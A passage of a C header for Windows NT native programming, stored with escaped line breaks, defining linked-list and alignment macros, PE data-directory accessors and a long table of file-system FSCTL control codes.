\\\r\n\t(p)->RootDirectory = r;                             \\\r\n\t(p)->Attributes = a;                                \\\r\n\t(p)->ObjectName = n;                                \\\r\n\t(p)->SecurityDescriptor = s;                        \\\r\n\t(p)->SecurityQualityOfService = NULL;               \\\r\n}\r\n\r\n//added 20.12.11\r\ntypedef struct _OBJECT_DIRECTORY_INFORMATION {\r\n    UNICODE_STRING Name;\r\n    UNICODE_STRING TypeName;\r\n} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;\r\n\r\n#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(___PROCESSOR_NUMBER_DEFINED)\r\n#define ___PROCESSOR_NUMBER_DEFINED\r\ntypedef struct _PROCESSOR_NUMBER {\r\n\tWORD Group;\r\n\tBYTE Number;\r\n\tBYTE Reserved;\r\n} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER;\r\n#endif\r\n\r\n#if _WIN32_WINNT >= 0x0501\r\n\r\n#define ANSI_NULL ((CHAR)0)     \r\n#define UNICODE_NULL ((WCHAR)0) \r\n\r\n#ifndef UNICODE_STRING_MAX_BYTES\r\n#define UNICODE_STRING_MAX_BYTES ((USHORT) 65534)\r\n#endif\r\n\r\n#define UNICODE_STRING_MAX_CHARS (32767)\r\n\r\n#define DECLARE_CONST_UNICODE_STRING(_variablename, _string) \\\r\n\tconst WCHAR _variablename ## _buffer[] = _string; \\\r\n\tconst UNICODE_STRING _variablename = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWSTR) _variablename ## _buffer };\r\n\r\n#endif // _WIN32_WINNT >= 0x0501\r\n\r\n#define IsListEmpty(ListHead) \\\r\n\t((ListHead)->Flink == (ListHead))\r\n\r\n#define InitializeListHead(ListHead) (\\\r\n    (ListHead)->Flink = (ListHead)->Blink = (ListHead))\r\n\r\n#define IsListEmpty(ListHead) \\\r\n    ((ListHead)->Flink == (ListHead))\r\n\r\n#define RemoveHeadList(ListHead) \\\r\n    (ListHead)->Flink;\\\r\n    {RemoveEntryList((ListHead)->Flink)}\r\n\r\n#define RemoveTailList(ListHead) \\\r\n    (ListHead)->Blink;\\\r\n    {RemoveEntryList((ListHead)->Blink)}\r\n\r\n// VOID\r\n// RemoveEntryList(\r\n//     IN PLIST_ENTRY Entry\r\n//     );\r\n#define RemoveEntryList(Entry) {\\\r\n    PLIST_ENTRY _EX_Blink;\\\r\n    PLIST_ENTRY _EX_Flink;\\\r\n    _EX_Flink = (Entry)->Flink;\\\r\n    _EX_Blink = (Entry)->Blink;\\\r\n    _EX_Blink->Flink = _EX_Flink;\\\r\n    _EX_Flink->Blink = _EX_Blink;\\\r\n    }\r\n\r\n\r\n// VOID\r\n// InsertTailList(\r\n//     IN PLIST_ENTRY ListHead,\r\n//     IN PLIST_ENTRY Entry\r\n//     );\r\n#define InsertTailList(ListHead,Entry) {\\\r\n    PLIST_ENTRY _EX_Blink;\\\r\n    PLIST_ENTRY _EX_ListHead;\\\r\n    _EX_ListHead = (ListHead);\\\r\n    _EX_Blink = _EX_ListHead->Blink;\\\r\n    (Entry)->Flink = _EX_ListHead;\\\r\n    (Entry)->Blink = _EX_Blink;\\\r\n    _EX_Blink->Flink = (Entry);\\\r\n    _EX_ListHead->Blink = (Entry);\\\r\n    }\r\n\r\n// VOID\r\n// InsertHeadList(\r\n//     IN PLIST_ENTRY ListHead,\r\n//     IN PLIST_ENTRY Entry\r\n//     );\r\n#define InsertHeadList(ListHead,Entry) {\\\r\n    PLIST_ENTRY _EX_Flink;\\\r\n    PLIST_ENTRY _EX_ListHead;\\\r\n    _EX_ListHead = (ListHead);\\\r\n    _EX_Flink = _EX_ListHead->Flink;\\\r\n    (Entry)->Flink = _EX_Flink;\\\r\n    (Entry)->Blink = _EX_ListHead;\\\r\n    _EX_Flink->Blink = (Entry);\\\r\n    _EX_ListHead->Flink = (Entry);\\\r\n    }\r\n\r\n// BOOL\r\n// COUNT_IS_ALIGNED(\r\n//     IN DWORD Count,\r\n//     IN DWORD Pow2      // undefined if this isn't a power of 2.\r\n//     );\r\n//\r\n#define COUNT_IS_ALIGNED(Count,Pow2) \\\r\n        ( ( ( (Count) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE )\r\n\r\n// BOOL\r\n// POINTER_IS_ALIGNED(\r\n//     IN LPVOID Ptr,\r\n//     IN DWORD Pow2      // undefined if this isn't a power of 2.\r\n//     );\r\n//\r\n#define POINTER_IS_ALIGNED(Ptr,Pow2) \\\r\n        ( ( ( ((DWORD)(Ptr)) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE )\r\n\r\n\r\n#define ROUND_DOWN_COUNT(Count,Pow2) \\\r\n        ( (Count) & (~((Pow2)-1)) )\r\n\r\n#define ROUND_DOWN_POINTER(Ptr,Pow2) \\\r\n        ( (LPVOID) ROUND_DOWN_COUNT( ((DWORD)(Ptr)), (Pow2) ) )\r\n\r\n\r\n// If Count is not already aligned, then\r\n// round Count up to an even multiple of \"Pow2\".  \"Pow2\" must be a power of 2.\r\n//\r\n// DWORD\r\n// ROUND_UP_COUNT(\r\n//     IN DWORD Count,\r\n//     IN DWORD Pow2\r\n//     );\r\n#define ROUND_UP_COUNT(Count,Pow2) \\\r\n        ( ((Count)+(Pow2)-1) & (~((Pow2)-1)) )\r\n\r\n// LPVOID\r\n// ROUND_UP_POINTER(\r\n//     IN LPVOID Ptr,\r\n//     IN DWORD Pow2\r\n//     );\r\n\r\n// If Ptr is not already aligned, then round it up until it is.\r\n#define ROUND_UP_POINTER(Ptr,Pow2) \\\r\n        ( (LPVOID) ( (((DWORD)(Ptr))+(Pow2)-1) & (~((Pow2)-1)) ) )\r\n\r\n#define ALIGN_BYTE\t\t\t\t\t1\r\n#define ALIGN_CHAR\t\t\t\t\t1\r\n#define ALIGN_DESC_CHAR\t\t\tsizeof(DESC_CHAR)\r\n#define ALIGN_DWORD\t\t\t\t\t4\r\n#define ALIGN_LONG\t\t\t\t\t4\r\n#define ALIGN_LPBYTE\t\t\t\t4\r\n#define ALIGN_LPDWORD\t\t\t\t4\r\n#define ALIGN_LPSTR\t\t\t\t\t4\r\n#define ALIGN_LPTSTR\t\t\t\t4\r\n#define ALIGN_LPVOID\t\t\t\t4\r\n#define ALIGN_LPWORD\t\t\t\t4\r\n#define ALIGN_TCHAR\t\t\t\t\tsizeof(TCHAR)\r\n#define ALIGN_WCHAR\t\t\t\t\tsizeof(WCHAR)\r\n#define ALIGN_WORD\t\t\t\t\t2\r\n#define ALIGN_QUAD\t\t\t\t\t8\r\n\r\n#define ALIGN_WORST\t\t\t\t\t8\r\n\r\n//03.06.2011 - added\r\n#define QUAD_ALIGN(VALUE) ( ((ULONG)(VALUE) + 7) & ~7 )\r\n//03.06.2011 - end\r\n\r\n// Usage: myPtr = ROUND_UP_POINTER(unalignedPtr, ALIGN_DWORD);\r\n\r\n// 31.05.2011 - added\r\n#define EXPORT_VA(x)     ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)\r\n#define IMPORT_VA(x)     ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)\r\n#define RELOC_VA(x)      ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)\r\n#define RESOURCE_VA(x)   ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)\r\n\r\n#define EXPORT_SIZE(x)   ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)\r\n#define IMPORT_SIZE(x)   ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)\r\n#define RELOC_SIZE(x)    ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)\r\n#define RESOURCE_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size)\r\n#define DEBUGDIR_VA(x)   ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress)\r\n#define DEBUGDIR_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size)\r\n// 31.05.2011 - end\r\n\r\n#define IS_VALID_HANDLE(hHandle) ((HANDLE)hHandle != (HANDLE)0 && (HANDLE)hHandle != (HANDLE)0xFFFFFFFF)\r\n#define SIZEOF_ARRAY(arr) ( sizeof(arr) / sizeof(arr[0]) )\r\n// 09.06.2011 - begin\r\n\r\n//21.12.2011 added\r\n#if !defined(_FILESYSTEMFSCTL_)\r\n#define _FILESYSTEMFSCTL_\r\n\r\n#define FSCTL_REQUEST_OPLOCK_LEVEL_1    CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  0, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_REQUEST_OPLOCK_LEVEL_2    CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  1, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_REQUEST_BATCH_OPLOCK      CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  2, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_OPLOCK_BREAK_ACKNOWLEDGE  CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  3, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_OPBATCH_ACK_CLOSE_PENDING CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  4, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_OPLOCK_BREAK_NOTIFY       CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  5, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_LOCK_VOLUME               CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  6, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_UNLOCK_VOLUME             CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  7, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_DISMOUNT_VOLUME           CTL_CODE(FILE_DEVICE_FILE_SYSTEM,  8, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n// decommissioned fsctl value                                              9\r\n#define FSCTL_IS_VOLUME_MOUNTED         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 10, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_IS_PATHNAME_VALID         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // PATHNAME_BUFFER,\r\n#define FSCTL_MARK_VOLUME_DIRTY         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 12, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n// decommissioned fsctl value                                             13\r\n#define FSCTL_QUERY_RETRIEVAL_POINTERS  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 14,  METHOD_NEITHER, FILE_ANY_ACCESS)\r\n#define FSCTL_GET_COMPRESSION           CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_SET_COMPRESSION           CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 16, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)\r\n// decommissioned fsctl value                                             17\r\n// decommissioned fsctl value                                             18\r\n#define FSCTL_SET_BOOTLOADER_ACCESSED   CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 19,  METHOD_NEITHER, FILE_ANY_ACCESS)\r\n#define FSCTL_OPLOCK_BREAK_ACK_NO_2     CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 20, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_INVALIDATE_VOLUMES        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 21, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_QUERY_FAT_BPB             CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) // FSCTL_QUERY_FAT_BPB_BUFFER\r\n#define FSCTL_REQUEST_FILTER_OPLOCK     CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 23, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_FILESYSTEM_GET_STATISTICS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 24, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILESYSTEM_STATISTICS\r\n\r\n#if (_WIN32_WINNT >= 0x0400)\r\n#define FSCTL_GET_NTFS_VOLUME_DATA      CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_VOLUME_DATA_BUFFER\r\n#define FSCTL_GET_NTFS_FILE_RECORD      CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 26, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_FILE_RECORD_INPUT_BUFFER, NTFS_FILE_RECORD_OUTPUT_BUFFER\r\n#define FSCTL_GET_VOLUME_BITMAP         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 27,  METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_LCN_INPUT_BUFFER, VOLUME_BITMAP_BUFFER\r\n#define FSCTL_GET_RETRIEVAL_POINTERS    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28,  METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER\r\n#define FSCTL_MOVE_FILE                 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 29, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // MOVE_FILE_DATA,\r\n#define FSCTL_IS_VOLUME_DIRTY           CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 30, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n// decommissioned fsctl value                                              31\r\n#define FSCTL_ALLOW_EXTENDED_DASD_IO    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 32, METHOD_NEITHER,  FILE_ANY_ACCESS)\r\n#endif /* _WIN32_WINNT >= 0x0400 */\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n// decommissioned fsctl value                                             33\r\n// decommissioned fsctl value                                             34\r\n#define FSCTL_FIND_FILES_BY_SID         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 35, METHOD_NEITHER, FILE_ANY_ACCESS)\r\n// decommissioned fsctl value                                             36\r\n// decommissioned fsctl value                                             37\r\n#define FSCTL_SET_OBJECT_ID             CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 38, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_OBJECTID_BUFFER\r\n#define FSCTL_GET_OBJECT_ID             CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 39, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER\r\n#define FSCTL_DELETE_OBJECT_ID          CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 40, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)\r\n#define FSCTL_SET_REPARSE_POINT         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 41, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER,\r\n#define FSCTL_GET_REPARSE_POINT         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS) // REPARSE_DATA_BUFFER\r\n#define FSCTL_DELETE_REPARSE_POINT      CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 43, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER,\r\n#define FSCTL_ENUM_USN_DATA             CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44,  METHOD_NEITHER, FILE_ANY_ACCESS) // MFT_ENUM_DATA,\r\n#define FSCTL_SECURITY_ID_CHECK         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 45,  METHOD_NEITHER, FILE_READ_DATA)  // BULK_SECURITY_TEST_DATA,\r\n#define FSCTL_READ_USN_JOURNAL          CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 46,  METHOD_NEITHER, FILE_ANY_ACCESS) // READ_USN_JOURNAL_DATA, USN\r\n#define FSCTL_SET_OBJECT_ID_EXTENDED    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 47, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)\r\n#define FSCTL_CREATE_OR_GET_OBJECT_ID   CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 48, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER\r\n#define FSCTL_SET_SPARSE                CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 49, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)\r\n#define FSCTL_SET_ZERO_DATA             CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 50, METHOD_BUFFERED, FILE_WRITE_DATA) // FILE_ZERO_DATA_INFORMATION,\r\n#define FSCTL_QUERY_ALLOCATED_RANGES    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 51,  METHOD_NEITHER, FILE_READ_DATA)  // FILE_ALLOCATED_RANGE_BUFFER, FILE_ALLOCATED_RANGE_BUFFER\r\n#define FSCTL_ENABLE_UPGRADE            CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 52, METHOD_BUFFERED, FILE_WRITE_DATA)\r\n// decommissioned fsctl value                                             52\r\n#define FSCTL_SET_ENCRYPTION            CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 53,  METHOD_NEITHER, FILE_ANY_ACCESS) // ENCRYPTION_BUFFER, DECRYPTION_STATUS_BUFFER\r\n#define FSCTL_ENCRYPTION_FSCTL_IO       CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 54,  METHOD_NEITHER, FILE_ANY_ACCESS)\r\n#define FSCTL_WRITE_RAW_ENCRYPTED       CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 55,  METHOD_NEITHER, FILE_SPECIAL_ACCESS) // ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO\r\n#define FSCTL_READ_RAW_ENCRYPTED        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 56,  METHOD_NEITHER, FILE_SPECIAL_ACCESS) // REQUEST_RAW_ENCRYPTED_DATA, ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO\r\n#define FSCTL_CREATE_USN_JOURNAL        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 57,  METHOD_NEITHER, FILE_ANY_ACCESS) // CREATE_USN_JOURNAL_DATA,\r\n#define FSCTL_READ_FILE_USN_DATA        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 58,  METHOD_NEITHER, FILE_ANY_ACCESS) // Read the Usn Record for a file\r\n#define FSCTL_WRITE_USN_CLOSE_RECORD    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 59,  METHOD_NEITHER, FILE_ANY_ACCESS) // Generate Close Usn Record\r\n#define FSCTL_EXTEND_VOLUME             CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 60, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_QUERY_USN_JOURNAL         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 61, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_DELETE_USN_JOURNAL        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 62, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_MARK_HANDLE               CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 63, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_SIS_COPYFILE              CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 64, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_SIS_LINK_FILES            CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 65, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)\r\n// decommissional fsctl value                                             66\r\n// decommissioned fsctl value                                             67\r\n// decommissioned fsctl value                                             68\r\n#define FSCTL_RECALL_FILE               CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 69, METHOD_NEITHER, FILE_ANY_ACCESS)\r\n// decommissioned fsctl value                                             70\r\n#define FSCTL_READ_FROM_PLEX            CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 71, METHOD_OUT_DIRECT, FILE_READ_DATA)\r\n#define FSCTL_FILE_PREFETCH             CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 72, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_PREFETCH\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n#if (_WIN32_WINNT >= 0x0600)\r\n#define FSCTL_MAKE_MEDIA_COMPATIBLE         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 76, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W\r\n#define FSCTL_SET_DEFECT_MANAGEMENT         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 77, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W\r\n#define FSCTL_QUERY_SPARING_INFO            CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 78, METHOD_BUFFERED, FILE_ANY_ACCESS) // UDFS R/W\r\n#define FSCTL_QUERY_ON_DISK_VOLUME_INFO     CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 79, METHOD_BUFFERED, FILE_ANY_ACCESS) // C/UDFS\r\n#define FSCTL_SET_VOLUME_COMPRESSION_STATE  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 80, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // VOLUME_COMPRESSION_STATE\r\n// decommissioned fsctl value                                                 80\r\n#define FSCTL_TXFS_MODIFY_RM                CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 81, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n#define FSCTL_TXFS_QUERY_RM_INFORMATION     CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 82, METHOD_BUFFERED, FILE_READ_DATA)  // TxF\r\n// decommissioned fsctl value                                                 83\r\n#define FSCTL_TXFS_ROLLFORWARD_REDO         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 84, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n#define FSCTL_TXFS_ROLLFORWARD_UNDO         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 85, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n#define FSCTL_TXFS_START_RM                 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 86, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n#define FSCTL_TXFS_SHUTDOWN_RM              CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 87, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n#define FSCTL_TXFS_READ_BACKUP_INFORMATION  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 88, METHOD_BUFFERED, FILE_READ_DATA)  // TxF\r\n#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 89, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n#define FSCTL_TXFS_CREATE_SECONDARY_RM      CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 90, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n#define FSCTL_TXFS_GET_METADATA_INFO        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 91, METHOD_BUFFERED, FILE_READ_DATA)  // TxF\r\n#define FSCTL_TXFS_GET_TRANSACTED_VERSION   CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 92, METHOD_BUFFERED, FILE_READ_DATA)  // TxF\r\n// decommissioned fsctl value                                                 93\r\n#define FSCTL_TXFS_SAVEPOINT_INFORMATION    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 94, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n#define FSCTL_TXFS_CREATE_MINIVERSION       CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 95, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF\r\n// decommissioned fsctl value                                                 96\r\n// decommissioned fsctl value                                                 97\r\n// decommissioned fsctl value                                                 98\r\n#define FSCTL_TXFS_TRANSACTION_ACTIVE       CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 99, METHOD_BUFFERED, FILE_READ_DATA)  // TxF\r\n#define FSCTL_SET_ZERO_ON_DEALLOCATION      CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 101, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)\r\n#define FSCTL_SET_REPAIR                    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 102, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_GET_REPAIR                    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 103, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_WAIT_FOR_REPAIR               CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 104, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n// decommissioned fsctl value                                                 105\r\n#define FSCTL_INITIATE_REPAIR               CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 106, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_CSC_INTERNAL                  CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 107, METHOD_NEITHER, FILE_ANY_ACCESS) // CSC internal implementation\r\n#define FSCTL_SHRINK_VOLUME                 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 108, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // SHRINK_VOLUME_INFORMATION\r\n#define FSCTL_SET_SHORT_NAME_BEHAVIOR       CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 109, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_DFSR_SET_GHOST_HANDLE_STATE   CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 110, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n//\r\n//  Values 111 - 119 are reserved for FSRM.\r\n//\r\n\r\n#define FSCTL_TXFS_LIST_TRANSACTION_LOCKED_FILES \\\r\n                                            CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 120, METHOD_BUFFERED, FILE_READ_DATA) // TxF\r\n#define FSCTL_TXFS_LIST_TRANSACTIONS        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 121, METHOD_BUFFERED, FILE_READ_DATA) // TxF\r\n#define FSCTL_QUERY_PAGEFILE_ENCRYPTION     CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 122, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#endif /* _WIN32_WINNT >= 0x0600 */\r\n\r\n#if (_WIN32_WINNT >= 0x0600)\r\n#define FSCTL_RESET_VOLUME_ALLOCATION_HINTS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 123, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#endif /* _WIN32_WINNT >= 0x0600 */\r\n\r\n#if (_WIN32_WINNT >= 0x0601)\r\n#define FSCTL_QUERY_DEPENDENT_VOLUME        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 124, METHOD_BUFFERED, FILE_ANY_ACCESS)    // Dependency File System Filter\r\n#define FSCTL_SD_GLOBAL_CHANGE              CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 125, METHOD_BUFFERED, FILE_ANY_ACCESS) // Update NTFS Security Descriptors\r\n#endif /* _WIN32_WINNT >= 0x0601 */\r\n\r\n#if (_WIN32_WINNT >= 0x0600)\r\n#define FSCTL_TXFS_READ_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 126, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF\r\n#endif /* _WIN32_WINNT >= 0x0600 */\r\n\r\n#if (_WIN32_WINNT >= 0x0601)\r\n#define FSCTL_LOOKUP_STREAM_FROM_CLUSTER    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 127, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 128, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF\r\n#define FSCTL_FILE_TYPE_NOTIFICATION        CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 129, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#endif\r\n\r\n//  Values 130 - 130 are available\r\n//  Values 131 - 139 are reserved for FSRM.\r\n\r\n#if (_WIN32_WINNT >= 0x0601)\r\n#define FSCTL_GET_BOOT_AREA_INFO            CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 140, METHOD_BUFFERED, FILE_ANY_ACCESS) // BOOT_AREA_INFO\r\n#define FSCTL_GET_RETRIEVAL_POINTER_BASE    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 141, METHOD_BUFFERED, FILE_ANY_ACCESS) // RETRIEVAL_POINTER_BASE\r\n#define FSCTL_SET_PERSISTENT_VOLUME_STATE   CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 142, METHOD_BUFFERED, FILE_ANY_ACCESS)  // FILE_FS_PERSISTENT_VOLUME_INFORMATION\r\n#define FSCTL_QUERY_PERSISTENT_VOLUME_STATE 